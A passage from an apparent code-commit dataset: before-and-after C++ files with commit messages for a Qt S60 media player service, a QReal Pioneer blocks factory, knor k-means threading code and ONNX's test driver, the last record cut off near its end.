m_videoOutput = new S60VideoWindowControl(this);\n }\n\n if (m_videoOutput) {\n m_control->setVideoOutput(m_videoOutput);\n return m_videoOutput;\n }\n }else {\n if (qstrcmp(name, QVideoWidgetControl_iid) == 0 ||\n#ifdef HAS_VIDEORENDERERCONTROL_IN_VIDEOPLAYER\n qstrcmp(name, QVideoRendererControl_iid) == 0 ||\n#endif \/* HAS_VIDEORENDERERCONTROL_IN_VIDEOPLAYER *\/\n qstrcmp(name, QVideoWindowControl_iid) == 0){\n return m_videoOutput;\n }\n }\n return 0;\n}\n\nvoid S60MediaPlayerService::releaseControl(QMediaControl *control)\n{\n if (control == m_videoOutput) {\n m_videoOutput = 0;\n m_control->setVideoOutput(m_videoOutput);\n }\n}\n\nS60MediaPlayerSession* S60MediaPlayerService::PlayerSession()\n{\n QUrl url = m_control->media().canonicalUrl();\n\n if (url.isEmpty() == true) {\n return NULL;\n }\n\n QScopedPointer<S60MediaRecognizer> mediaRecognizer(new S60MediaRecognizer);\n S60MediaRecognizer::MediaType mediaType = mediaRecognizer->mediaType(url);\n mediaRecognizer.reset();\n\n switch (mediaType) {\n case S60MediaRecognizer::Video:\n case S60MediaRecognizer::Url:\n {\n m_control->setMediaType(S60MediaSettings::Video);\n return VideoPlayerSession();\n }\n case S60MediaRecognizer::Audio:\n {\n m_control->setMediaType(S60MediaSettings::Audio);\n return AudioPlayerSession();\n }\n default:\n m_control->setMediaType(S60MediaSettings::Unknown);\n break;\n }\n\n return NULL;\n}\n\nS60MediaPlayerSession* S60MediaPlayerService::VideoPlayerSession()\n{\n if (!m_videoPlayerSession) {\n m_videoPlayerSession = new S60VideoPlayerSession(this, m_networkAccessControl);\n\n connect(m_videoPlayerSession, SIGNAL(positionChanged(qint64)),\n m_control, SIGNAL(positionChanged(qint64)));\n connect(m_videoPlayerSession, SIGNAL(playbackRateChanged(qreal)),\n m_control, SIGNAL(playbackRateChanged(qreal)));\n connect(m_videoPlayerSession, SIGNAL(volumeChanged(int)),\n m_control, SIGNAL(volumeChanged(int)));\n connect(m_videoPlayerSession, SIGNAL(mutedChanged(bool)),\n m_control, SIGNAL(mutedChanged(bool)));\n connect(m_videoPlayerSession, SIGNAL(durationChanged(qint64)),\n m_control, SIGNAL(durationChanged(qint64)));\n connect(m_videoPlayerSession, SIGNAL(stateChanged(QMediaPlayer::State)),\n m_control, SIGNAL(stateChanged(QMediaPlayer::State)));\n connect(m_videoPlayerSession, SIGNAL(mediaStatusChanged(QMediaPlayer::MediaStatus)),\n m_control, SIGNAL(mediaStatusChanged(QMediaPlayer::MediaStatus)));\n connect(m_videoPlayerSession,SIGNAL(bufferStatusChanged(int)),\n m_control, SIGNAL(bufferStatusChanged(int)));\n connect(m_videoPlayerSession, SIGNAL(videoAvailableChanged(bool)),\n m_control, SIGNAL(videoAvailableChanged(bool)));\n connect(m_videoPlayerSession, SIGNAL(audioAvailableChanged(bool)),\n m_control, SIGNAL(audioAvailableChanged(bool)));\n connect(m_videoPlayerSession, SIGNAL(seekableChanged(bool)),\n m_control, SIGNAL(seekableChanged(bool)));\n connect(m_videoPlayerSession, SIGNAL(availablePlaybackRangesChanged(const QMediaTimeRange&)),\n m_control, SIGNAL(availablePlaybackRangesChanged(const QMediaTimeRange&)));\n connect(m_videoPlayerSession, SIGNAL(error(int, const QString &)),\n m_control, SIGNAL(error(int, const QString &)));\n connect(m_videoPlayerSession, SIGNAL(metaDataChanged()),\n m_metaData, SIGNAL(metaDataChanged()));\n connect(m_videoPlayerSession, SIGNAL(activeEndpointChanged(const QString&)),\n m_audioEndpointSelector, SIGNAL(activeEndpointChanged(const QString&)));\n connect(m_videoPlayerSession, SIGNAL(mediaChanged()),\n m_streamControl, SLOT(handleStreamsChanged()));\n connect(m_videoPlayerSession, SIGNAL(accessPointChanged(int)),\n m_networkAccessControl, SLOT(accessPointChanged(int)));\n\n m_videoPlayerSession->setVolume(m_control->mediaControlSettings().volume());\n m_videoPlayerSession->setMuted(m_control->mediaControlSettings().isMuted());\n m_videoPlayerSession->setAudioEndpoint(m_control->mediaControlSettings().audioEndpoint());\n\n }\n return m_videoPlayerSession;\n}\n\nS60MediaPlayerSession* S60MediaPlayerService::AudioPlayerSession()\n{\n if (!m_audioPlayerSession) {\n m_audioPlayerSession = new S60AudioPlayerSession(this);\n\n connect(m_audioPlayerSession, SIGNAL(positionChanged(qint64)),\n m_control, SIGNAL(positionChanged(qint64)));\n connect(m_audioPlayerSession, SIGNAL(playbackRateChanged(qreal)),\n m_control, SIGNAL(playbackRateChanged(qreal)));\n connect(m_audioPlayerSession, SIGNAL(volumeChanged(int)),\n m_control, SIGNAL(volumeChanged(int)));\n connect(m_audioPlayerSession, SIGNAL(mutedChanged(bool)),\n m_control, SIGNAL(mutedChanged(bool)));\n connect(m_audioPlayerSession, SIGNAL(durationChanged(qint64)),\n m_control, SIGNAL(durationChanged(qint64)));\n connect(m_audioPlayerSession, SIGNAL(stateChanged(QMediaPlayer::State)),\n m_control, SIGNAL(stateChanged(QMediaPlayer::State)));\n connect(m_audioPlayerSession, SIGNAL(mediaStatusChanged(QMediaPlayer::MediaStatus)),\n m_control, SIGNAL(mediaStatusChanged(QMediaPlayer::MediaStatus)));\n connect(m_audioPlayerSession,SIGNAL(bufferStatusChanged(int)),\n m_control, SIGNAL(bufferStatusChanged(int)));\n connect(m_audioPlayerSession, SIGNAL(videoAvailableChanged(bool)),\n m_control, SIGNAL(videoAvailableChanged(bool)));\n connect(m_audioPlayerSession, SIGNAL(audioAvailableChanged(bool)),\n m_control, SIGNAL(audioAvailableChanged(bool)));\n connect(m_audioPlayerSession, SIGNAL(seekableChanged(bool)),\n m_control, SIGNAL(seekableChanged(bool)));\n connect(m_audioPlayerSession, SIGNAL(availablePlaybackRangesChanged(const QMediaTimeRange&)),\n m_control, SIGNAL(availablePlaybackRangesChanged(const QMediaTimeRange&)));\n connect(m_audioPlayerSession, SIGNAL(error(int, const QString &)),\n m_control, SIGNAL(error(int, const QString &)));\n connect(m_audioPlayerSession, SIGNAL(metaDataChanged()),\n m_metaData, SIGNAL(metaDataChanged()));\n connect(m_audioPlayerSession, SIGNAL(activeEndpointChanged(const QString&)),\n m_audioEndpointSelector, SIGNAL(activeEndpointChanged(const QString&)));\n connect(m_audioPlayerSession, SIGNAL(mediaChanged()),\n m_streamControl, SLOT(handleStreamsChanged()));\n\n m_audioPlayerSession->setVolume(m_control->mediaControlSettings().volume());\n m_audioPlayerSession->setMuted(m_control->mediaControlSettings().isMuted());\n m_audioPlayerSession->setAudioEndpoint(m_control->mediaControlSettings().audioEndpoint());\n }\n return m_audioPlayerSession;\n}\n<|endoftext|>"} {"text":"<commit_before>\/* Copyright 2017 QReal Research Group\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License. *\/\n\n#include \"pioneerKit\/blocks\/pioneerBlocksFactory.h\"\n\nusing namespace pioneer::blocks;\n\nqReal::interpretation::Block *PioneerBlocksFactory::produceBlock(const qReal::Id &element)\n{\n\tQ_UNUSED(element);\n\treturn nullptr;\n}\n\nqReal::IdList PioneerBlocksFactory::providedBlocks() const\n{\n\treturn {\n\t\t\tid(\"GeoTakeoff\")\n\t\t\t, id(\"GeoLanding\")\n\t\t\t, id(\"GoToPoint\")\n\t\t\t, id(\"PioneerPrint\")\n\t\t\t, id(\"PioneerSystem\")\n\t\t\t, id(\"PioneerLed\")\n\t\t\t, id(\"PioneerMagnet\")\n\t\t\t, id(\"PioneerYaw\")\n\t};\n}\n\nqReal::IdList PioneerBlocksFactory::blocksToDisable() const\n{\n\treturn {\n\t};\n}\n\nqReal::IdList PioneerBlocksFactory::blocksToHide() const\n{\n\treturn {\n\t\t\tid(\"Function\")\n\t\t\t, id(\"FiBlock\")\n\t\t\t, id(\"SwitchBlock\")\n\t\t\t, id(\"Loop\")\n\t\t\t, id(\"Subprogram\")\n\t\t\t, id(\"Fork\")\n\t\t\t, id(\"Join\")\n\t\t\t, id(\"KillThread\")\n\n\t\t\t, id(\"SendMessageThreads\")\n\n\t\t\t, id(\"ReceiveMessageThreads\")\n\n\t\t\t, id(\"PrintText\")\n\t\t\t, id(\"ClearScreen\")\n\t\t\t, id(\"MarkerDown\")\n\t\t\t, id(\"MarkerUp\")\n\t};\n}\n<commit_msg>Added EndIf block<commit_after>\/* Copyright 2017 QReal Research Group\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License. *\/\n\n#include \"pioneerKit\/blocks\/pioneerBlocksFactory.h\"\n\nusing namespace pioneer::blocks;\n\nqReal::interpretation::Block *PioneerBlocksFactory::produceBlock(const qReal::Id &element)\n{\n\tQ_UNUSED(element);\n\treturn nullptr;\n}\n\nqReal::IdList PioneerBlocksFactory::providedBlocks() const\n{\n\treturn {\n\t\t\tid(\"GeoTakeoff\")\n\t\t\t, id(\"GeoLanding\")\n\t\t\t, id(\"GoToPoint\")\n\t\t\t, id(\"PioneerPrint\")\n\t\t\t, id(\"PioneerSystem\")\n\t\t\t, id(\"PioneerLed\")\n\t\t\t, id(\"PioneerMagnet\")\n\t\t\t, id(\"PioneerYaw\")\n\t};\n}\n\nqReal::IdList PioneerBlocksFactory::blocksToDisable() const\n{\n\treturn {\n\t};\n}\n\nqReal::IdList PioneerBlocksFactory::blocksToHide() const\n{\n\treturn {\n\t\t\tid(\"Function\")\n\t\t\t, id(\"SwitchBlock\")\n\t\t\t, id(\"Loop\")\n\t\t\t, id(\"Subprogram\")\n\t\t\t, id(\"Fork\")\n\t\t\t, id(\"Join\")\n\t\t\t, id(\"KillThread\")\n\n\t\t\t, id(\"SendMessageThreads\")\n\n\t\t\t, id(\"ReceiveMessageThreads\")\n\n\t\t\t, id(\"PrintText\")\n\t\t\t, id(\"ClearScreen\")\n\t\t\t, id(\"MarkerDown\")\n\t\t\t, id(\"MarkerUp\")\n\t};\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright 2016 neurodata (http:\/\/neurodata.io\/)\n * Written by Disa Mhembere (disa@jhu.edu)\n *\n * This file is part of knor\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY CURRENT_KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#ifdef USE_NUMA\n#include <numa.h>\n#endif\n\n#include \"base_kmeans_thread.hpp\"\n#include \"exception.hpp\"\n#include \"util.hpp\"\n\n#define VERBOSE 0\n#define INVALID_THD_ID -1\n\nnamespace kpmeans {\n\nvoid base_kmeans_thread::destroy_numa_mem() {\n if (!preallocd_data) {\n#ifdef USE_NUMA\n numa_free(local_data, get_data_size());\n#else\n delete [] local_data;\n#endif\n }\n}\n\nvoid base_kmeans_thread::join() {\n void* join_status;\n int rc = pthread_join(hw_thd, &join_status);\n if (rc)\n throw base::thread_exception(\"pthread_join()\", rc);\n\n thd_id = INVALID_THD_ID;\n}\n\n\/\/ Once the algorithm ends we should deallocate the memory we moved\nvoid base_kmeans_thread::close_file_handle() {\n int rc = fclose(f);\n if (rc)\n throw base::io_exception(\"fclose() failed!\", rc);\n\n#if VERBOSE\n#ifndef BIND\n printf(\"Thread %u closing the file handle.\\n\",thd_id);\n#endif\n#endif\n f = NULL;\n}\n\n\/\/ Move data ~equally to all nodes\nvoid base_kmeans_thread::numa_alloc_mem() {\n kpmbase::assert_msg(f, \"File handle invalid, can only alloc once!\");\n size_t blob_size = get_data_size();\n#ifdef USE_NUMA\n local_data = static_cast<double*>(numa_alloc_onnode(blob_size, node_id));\n#else\n local_data = new double [blob_size\/sizeof(double)];\n#endif\n fseek(f, start_rid*ncol*sizeof(double), SEEK_SET); \/\/ start position\n#ifdef NDEBUG\n size_t nread = fread(local_data, blob_size, 1, f);\n nread = nread; \/\/ Silence compiler warning\n#else\n assert(fread(local_data, blob_size, 1, f) == 1);\n#endif\n close_file_handle();\n}\n\nvoid base_kmeans_thread::set_local_data_ptr(double* data, bool offset) {\n if (offset)\n local_data = &(data[start_rid*ncol]); \/\/ Grab your offset\n else\n local_data = data;\n}\n\nbase_kmeans_thread::~base_kmeans_thread() {\n pthread_cond_destroy(&cond);\n pthread_mutex_destroy(&mutex);\n pthread_mutexattr_destroy(&mutex_attr);\n\n if (f)\n close_file_handle();\n#if VERBOSE\n#ifndef BIND\n printf(\"Thread %u being destroyed\\n\", thd_id);\n#endif\n#endif\n if (thd_id != INVALID_THD_ID)\n join();\n}\n\nvoid base_kmeans_thread::bind2node_id() {\n#ifdef USE_NUMA\n struct bitmask *bmp = numa_allocate_nodemask();\n numa_bitmask_setbit(bmp, node_id);\n numa_bind(bmp);\n numa_free_nodemask(bmp);\n#endif\n \/\/ No NUMA? Do nothing\n}\n} \/\/ End namespace kpmeans\n<commit_msg>warn: silence compiler<commit_after>\/*\n * Copyright 2016 neurodata (http:\/\/neurodata.io\/)\n * Written by Disa Mhembere (disa@jhu.edu)\n *\n * This file is part of knor\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY CURRENT_KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#ifdef USE_NUMA\n#include <numa.h>\n#endif\n\n#include \"base_kmeans_thread.hpp\"\n#include \"exception.hpp\"\n#include \"util.hpp\"\n\n#define VERBOSE 0\n#define INVALID_THD_ID -1\n\nnamespace kpmeans {\n\nvoid base_kmeans_thread::destroy_numa_mem() {\n if (!preallocd_data) {\n#ifdef USE_NUMA\n numa_free(local_data, get_data_size());\n#else\n delete [] local_data;\n#endif\n }\n}\n\nvoid base_kmeans_thread::join() {\n void* join_status;\n int rc = pthread_join(hw_thd, &join_status);\n if (rc)\n throw base::thread_exception(\"pthread_join()\", rc);\n\n thd_id = INVALID_THD_ID;\n}\n\n\/\/ Once the algorithm ends we should deallocate the memory we moved\nvoid base_kmeans_thread::close_file_handle() {\n int rc = fclose(f);\n if (rc)\n throw base::io_exception(\"fclose() failed!\", rc);\n\n#if VERBOSE\n#ifndef BIND\n printf(\"Thread %u closing the file handle.\\n\",thd_id);\n#endif\n#endif\n f = NULL;\n}\n\n\/\/ Move data ~equally to all nodes\nvoid base_kmeans_thread::numa_alloc_mem() {\n kpmbase::assert_msg(f, \"File handle invalid, can only alloc once!\");\n size_t blob_size = get_data_size();\n#ifdef USE_NUMA\n local_data = static_cast<double*>(numa_alloc_onnode(blob_size, node_id));\n#else\n local_data = new double [blob_size\/sizeof(double)];\n#endif\n fseek(f, start_rid*ncol*sizeof(double), SEEK_SET); \/\/ start position\n#ifdef NDEBUG\n size_t nread = fread(local_data, blob_size, 1, f);\n nread = nread + 1 - 1; \/\/ Silence compiler warning\n#else\n assert(fread(local_data, blob_size, 1, f) == 1);\n#endif\n close_file_handle();\n}\n\nvoid base_kmeans_thread::set_local_data_ptr(double* data, bool offset) {\n if (offset)\n local_data = &(data[start_rid*ncol]); \/\/ Grab your offset\n else\n local_data = data;\n}\n\nbase_kmeans_thread::~base_kmeans_thread() {\n pthread_cond_destroy(&cond);\n pthread_mutex_destroy(&mutex);\n pthread_mutexattr_destroy(&mutex_attr);\n\n if (f)\n close_file_handle();\n#if VERBOSE\n#ifndef BIND\n printf(\"Thread %u being destroyed\\n\", thd_id);\n#endif\n#endif\n if (thd_id != INVALID_THD_ID)\n join();\n}\n\nvoid base_kmeans_thread::bind2node_id() {\n#ifdef USE_NUMA\n struct bitmask *bmp = numa_allocate_nodemask();\n numa_bitmask_setbit(bmp, node_id);\n numa_bind(bmp);\n numa_free_nodemask(bmp);\n#endif\n \/\/ No NUMA? Do nothing\n}\n} \/\/ End namespace kpmeans\n<|endoftext|>"} {"text":"<commit_before>#include \"test_driver.h\"\n#include <cstdio>\n#include <cstdlib>\n#include <fstream>\n\n#include <errno.h>\n#include <fcntl.h>\n#include <sys\/stat.h>\n#ifdef _WIN32\n#include <io.h>\n#include <windows.h>\n#else\n#include <dirent.h>\n#endif\n\nnamespace ONNX_NAMESPACE {\nnamespace testing {\nbool FileExists(const std::string& filename) {\n#ifdef _WIN32\n if (INVALID_FILE_ATTRIBUTES == GetFileAttributes(filename.c_str())) {\n return false;\n }\n#else\n struct stat stats;\n if (lstat(filename.c_str(), &stats) != 0 || !S_ISREG(stats.st_mode)) {\n return false;\n }\n#endif\n return true;\n}\n\nvoid TestDriver::SetDefaultDir(const std::string& s) {\n default_dir_ = s;\n}\n\n\/**\n *\tIt is possible that case_dir is not a dir.\n *\tBut it does not affect the result.\n *\/\nvoid TestDriver::FetchSingleTestCase(const std::string& case_dir) {\n std::string model_name = case_dir;\n model_name += \"model.onnx\";\n if (FileExists(model_name)) {\n UnsolvedTestCase test_case;\n test_case.model_filename_ = model_name;\n test_case.model_dirname_ = case_dir;\n for (int case_count = 0;; case_count++) {\n std::vector<std::string> input_filenames, output_filenames;\n std::string input_name, output_name;\n std::string case_dirname = case_dir;\n case_dirname += \"test_data_set_\" + ONNX_NAMESPACE::to_string(case_count);\n input_name = case_dirname + \"\/input_\" + \"0\" + \".pb\";\n output_name = case_dirname + \"\/output_\" + \"0\" + \".pb\";\n if (!FileExists(output_name) && !FileExists(input_name)) {\n break;\n }\n\n for (int data_count = 0;; data_count++) {\n input_name = case_dirname + \"\/input_\" +\n ONNX_NAMESPACE::to_string(data_count) + \".pb\";\n output_name = case_dirname + \"\/output_\" +\n ONNX_NAMESPACE::to_string(data_count) + \".pb\";\n const bool input_exists = FileExists(input_name);\n const bool output_exists = FileExists(output_name);\n if (!output_exists && !input_exists) {\n break;\n }\n if (input_exists) {\n input_filenames.emplace_back(std::move(input_name));\n }\n if (output_exists) {\n output_filenames.emplace_back(std::move(output_name));\n }\n }\n UnsolvedTestData test_data(input_filenames, output_filenames);\n test_case.test_data_.emplace_back(std::move(test_data));\n }\n testcases_.emplace_back(std::move(test_case));\n }\n}\n\nbool TestDriver::FetchAllTestCases(const std::string& target) {\n std::string target_dir = target;\n if (target_dir == \"\") {\n target_dir = default_dir_;\n }\n if (target_dir[target_dir.size() - 1] == '\/') {\n target_dir.erase(target_dir.size() - 1, 1);\n }\n#ifdef _WIN32\n _finddata_t file;\n intptr_t lf;\n if ((lf = _findfirst(target_dir.c_str(), &file)) == -1) {\n std::cerr << \"Error: cannot open directory \" << target_dir\n << \" when fetching test data: \" << strerror(errno) << std::endl;\n return false;\n } else {\n try {\n do {\n std::string entry_dname = file.name;\n if (entry_dname != \".\" && entry_dname != \"..\") {\n entry_dname = target_dir + \"\/\" + entry_dname + \"\/\";\n FetchSingleTestCase(entry_dname);\n }\n } while (_findnext(lf, &file) == 0);\n } catch (const std::exception& e) {\n std::cerr << \"Error occured while reading directory. \" << e.what()\n << std::endl;\n _findclose(lf);\n throw;\n }\n _findclose(lf);\n }\n#else\n DIR* directory;\n try {\n directory = opendir(target_dir.c_str());\n if (directory == NULL) {\n std::cerr << \"Error: cannot open directory \" << target_dir\n << \" when fetching test data: \" << strerror(errno) << std::endl;\n return false;\n }\n while (true) {\n errno = 0;\n struct dirent* entry = readdir(directory);\n if (entry == NULL) {\n if (errno != 0) {\n std::cerr << \"Error: cannot read directory \" << target_dir\n << \" when fetching test data: \" << strerror(errno)\n << std::endl;\n return -1;\n } else {\n break;\n }\n }\n std::string entry_dname = entry->d_name;\n if (entry_dname != \".\" && entry_dname != \"..\") {\n entry_dname = target_dir + \"\/\" + entry_dname + \"\/\";\n FetchSingleTestCase(entry_dname);\n }\n }\n } catch (const std::exception& e) {\n if (directory != NULL) {\n if (closedir(directory) != 0) {\n std::cerr << \"Warning: failed to close directory \" << target_dir\n << \" when fetching test data: \" << strerror(errno)\n << std::endl;\n }\n }\n std::cerr << \"Error: exception occured: \" << e.what() << std::endl;\n throw;\n }\n if (directory != NULL) {\n if (closedir(directory) != 0) {\n std::cerr << \"Warning: failed to close directory \" << target_dir\n << \" when fetching test data: \" << strerror(errno) << std::endl;\n return false;\n }\n }\n#endif\nreturn true;\n}\n\nstd::vector<UnsolvedTestCase> GetTestCase(const std::string& location) {\n TestDriver test_driver;\n test_driver.FetchAllTestCases(location);\n return test_driver.testcases_;\n}\n\nvoid LoadSingleFile(const std::string& filename, std::string& filedata) {\n FILE* fp;\n if ((fp = fopen(filename.c_str(), \"r\")) != NULL) {\n try {\n int fsize;\n char buff[1024] = {0};\n do {\n fsize = fread(buff, sizeof(char), 1024, fp);\n filedata += std::string(buff, buff + fsize);\n } while (fsize == 1024);\n } catch (const std::exception& e) {\n fclose(fp);\n throw;\n }\n fclose(fp);\n } else {\n std::cerr << \"Warning: failed to open file: \" << filename << std::endl;\n }\n}\n\nResolvedTestCase LoadSingleTestCase(const UnsolvedTestCase& t) {\n ResolvedTestCase st;\n std::string raw_model;\n LoadSingleFile(t.model_filename_, raw_model);\n ONNX_NAMESPACE::ParseProtoFromBytes(\n &st.model_, raw_model.c_str(), raw_model.size());\n\n for (auto& test_data : t.test_data_) {\n ResolvedTestData proto_test_data;\n\n for (auto& input_file : test_data.input_filenames_) {\n std::string input_data;\n LoadSingleFile(input_file, input_data);\n ONNX_NAMESPACE::TensorProto input_proto;\n ONNX_NAMESPACE::ParseProtoFromBytes(\n &input_proto, input_data.c_str(), input_data.size());\n proto_test_data.inputs_.emplace_back(std::move(input_proto));\n }\n for (auto& output_file : test_data.output_filenames_) {\n std::string output_data = \"\";\n LoadSingleFile(output_file, output_data);\n ONNX_NAMESPACE::TensorProto output_proto;\n ONNX_NAMESPACE::ParseProtoFromBytes(\n &output_proto, output_data.c_str(), output_data.size());\n proto_test_data.outputs_.emplace_back(std::move(output_proto));\n }\n }\n return st;\n}\n\nstd::vector<ResolvedTestCase> LoadAllTestCases(const std::string& location) {\n std::vector<UnsolvedTestCase> t = GetTestCase(location);\n return LoadAllTestCases(t);\n}\n\nstd::vector<ResolvedTestCase> LoadAllTestCases(\n const std::vector<UnsolvedTestCase>& t) {\n std::vector<ResolvedTestCase> st;\n for (const auto& i : t) {\n st.push_back(LoadSingleTestCase(i));\n }\n return st;\n}\n\n} \/\/ namespace testing\n} \/\/ namespace ONNX_NAMESPACE\n<commit_msg>fix the bug of loading model input\/output proto (#1477)<commit_after>#include \"test_driver.h\"\n#include <cstdio>\n#include <cstdlib>\n#include <fstream>\n\n#include <errno.h>\n#include <fcntl.h>\n#include <sys\/stat.h>\n#ifdef _WIN32\n#include <io.h>\n#include <windows.h>\n#else\n#include <dirent.h>\n#endif\n\nnamespace ONNX_NAMESPACE {\nnamespace testing {\nbool FileExists(const std::string& filename) {\n#ifdef _WIN32\n if (INVALID_FILE_ATTRIBUTES == GetFileAttributes(filename.c_str())) {\n return false;\n }\n#else\n struct stat stats;\n if (lstat(filename.c_str(), &stats) != 0 || !S_ISREG(stats.st_mode)) {\n return false;\n }\n#endif\n return true;\n}\n\nvoid TestDriver::SetDefaultDir(const std::string& s) {\n default_dir_ = s;\n}\n\n\/**\n *\tIt is possible that case_dir is not a dir.\n *\tBut it does not affect the result.\n *\/\nvoid TestDriver::FetchSingleTestCase(const std::string& case_dir) {\n std::string model_name = case_dir;\n model_name += \"model.onnx\";\n if (FileExists(model_name)) {\n UnsolvedTestCase test_case;\n test_case.model_filename_ = model_name;\n test_case.model_dirname_ = case_dir;\n for (int case_count = 0;; case_count++) {\n std::vector<std::string> input_filenames, output_filenames;\n std::string input_name, output_name;\n std::string case_dirname = case_dir;\n case_dirname += \"test_data_set_\" + ONNX_NAMESPACE::to_string(case_count);\n input_name = case_dirname + \"\/input_\" + \"0\" + \".pb\";\n output_name = case_dirname + \"\/output_\" + \"0\" + \".pb\";\n if (!FileExists(output_name) && !FileExists(input_name)) {\n break;\n }\n\n for (int data_count = 0;; data_count++) {\n input_name = case_dirname + \"\/input_\" +\n ONNX_NAMESPACE::to_string(data_count) + \".pb\";\n output_name = case_dirname + \"\/output_\" +\n ONNX_NAMESPACE::to_string(data_count) + \".pb\";\n const bool input_exists = FileExists(input_name);\n const bool output_exists = FileExists(output_name);\n if (!output_exists && !input_exists) {\n break;\n }\n if (input_exists) {\n input_filenames.emplace_back(std::move(input_name));\n }\n if (output_exists) {\n output_filenames.emplace_back(std::move(output_name));\n }\n }\n UnsolvedTestData test_data(input_filenames, output_filenames);\n test_case.test_data_.emplace_back(std::move(test_data));\n }\n testcases_.emplace_back(std::move(test_case));\n }\n}\n\nbool TestDriver::FetchAllTestCases(const std::string& target) {\n std::string target_dir = target;\n if (target_dir == \"\") {\n target_dir = default_dir_;\n }\n if (target_dir[target_dir.size() - 1] == '\/') {\n target_dir.erase(target_dir.size() - 1, 1);\n }\n#ifdef _WIN32\n _finddata_t file;\n intptr_t lf;\n if ((lf = _findfirst(target_dir.c_str(), &file)) == -1) {\n std::cerr << \"Error: cannot open directory \" << target_dir\n << \" when fetching test data: \" << strerror(errno) << std::endl;\n return false;\n } else {\n try {\n do {\n std::string entry_dname = file.name;\n if (entry_dname != \".\" && entry_dname != \"..\") {\n entry_dname = target_dir + \"\/\" + entry_dname + \"\/\";\n FetchSingleTestCase(entry_dname);\n }\n } while (_findnext(lf, &file) == 0);\n } catch (const std::exception& e) {\n std::cerr << \"Error occured while reading directory. \" << e.what()\n << std::endl;\n _findclose(lf);\n throw;\n }\n _findclose(lf);\n }\n#else\n DIR* directory;\n try {\n directory = opendir(target_dir.c_str());\n if (directory == NULL) {\n std::cerr << \"Error: cannot open directory \" << target_dir\n << \" when fetching test data: \" << strerror(errno) << std::endl;\n return false;\n }\n while (true) {\n errno = 0;\n struct dirent* entry = readdir(directory);\n if (entry == NULL) {\n if (errno != 0) {\n std::cerr << \"Error: cannot read directory \" << target_dir\n << \" when fetching test data: \" << strerror(errno)\n << std::endl;\n return -1;\n } else {\n break;\n }\n }\n std::string entry_dname = entry->d_name;\n if (entry_dname != \".\" && entry_dname != \"..\") {\n entry_dname = target_dir + \"\/\" + entry_dname + \"\/\";\n FetchSingleTestCase(entry_dname);\n }\n }\n } catch (const std::exception& e) {\n if (directory != NULL) {\n if (closedir(directory) != 0) {\n std::cerr << \"Warning: failed to close directory \" << target_dir\n << \" when fetching test data: \" << strerror(errno)\n << std::endl;\n }\n }\n std::cerr << \"Error: exception occured: \" << e.what() << std::endl;\n throw;\n }\n if (directory != NULL) {\n if (closedir(directory) != 0) {\n std::cerr << \"Warning: failed to close directory \" << target_dir\n << \" when fetching test data: \" << strerror(errno) << std::endl;\n return false;\n }\n }\n#endif\nreturn true;\n}\n\nstd::vector<UnsolvedTestCase> GetTestCase(const std::string& location) {\n TestDriver test_driver;\n test_driver.FetchAllTestCases(location);\n return test_driver.testcases_;\n}\n\nvoid LoadSingleFile(const std::string& filename, std::string& filedata) {\n FILE* fp;\n if ((fp = fopen(filename.c_str(), \"r\")) != NULL) {\n try {\n int fsize;\n char buff[1024] = {0};\n do {\n fsize = fread(buff, sizeof(char), 1024, fp);\n filedata += std::string(buff, buff + fsize);\n } while (fsize == 1024);\n } catch (const std::exception& e) {\n fclose(fp);\n throw;\n }\n fclose(fp);\n } else {\n std::cerr << \"Warning: failed to open file: \" << filename << std::endl;\n }\n}\n\nResolvedTestCase LoadSingleTestCase(const UnsolvedTestCase& t) {\n ResolvedTestCase st;\n std::string raw_model;\n LoadSingleFile(t.model_filename_, raw_model);\n ONNX_NAMESPACE::ParseProtoFromBytes(\n &st.model_, raw_model.c_str(), raw_model.size());\n\n for (auto& test_data : t.test_data_) {\n ResolvedTestData proto_test_data;\n\n for (auto& input_file : test_data.input_filenames_) {\n std::string input_data;\n LoadSingleFile(input_file, input_data);\n ONNX_NAMESPACE::TensorProto input_proto;\n ONNX_NAMESPACE::ParseProtoFromBytes(\n &input_proto, input_data.c_str(), input_data.size());\n proto_test_data.inputs_.emplace_back(std::move(input_proto));\n }\n for (auto& output_file : test_data.output_filenames_) {\n std::string output_data = \"\";\n LoadSingleFile(output_file, output_data);\n ONNX_NAMESPACE::TensorProto output_proto;\n ONNX_NAMESPACE::ParseProtoFromBytes(\n &output_proto, output_data.c_str(), output_data.size());\n proto_test_data.outputs_.emplace_back(std::move(output_proto));\n }\n st.proto_test_data_.emplace_back(std::move(proto_test_data));\n }\n return st;\n}\n\nstd::vector<ResolvedTestCase> LoadAllTestCases(const std::string& location) {\n std::vector<UnsolvedTestCase> t = GetTestCase(location);\n return LoadAllTestCases(t);\n}\n\nstd::vector<ResolvedTestCase> LoadAllTestCases(\n const std::vector<UnsolvedTestCase>& t) {\n std::vector<ResolvedTestCase> st;\n for (const auto& i : t) {\n st.push_back(LoadSingleTestCase(i));\n }\n return st;\n}\n\n} \/\/ 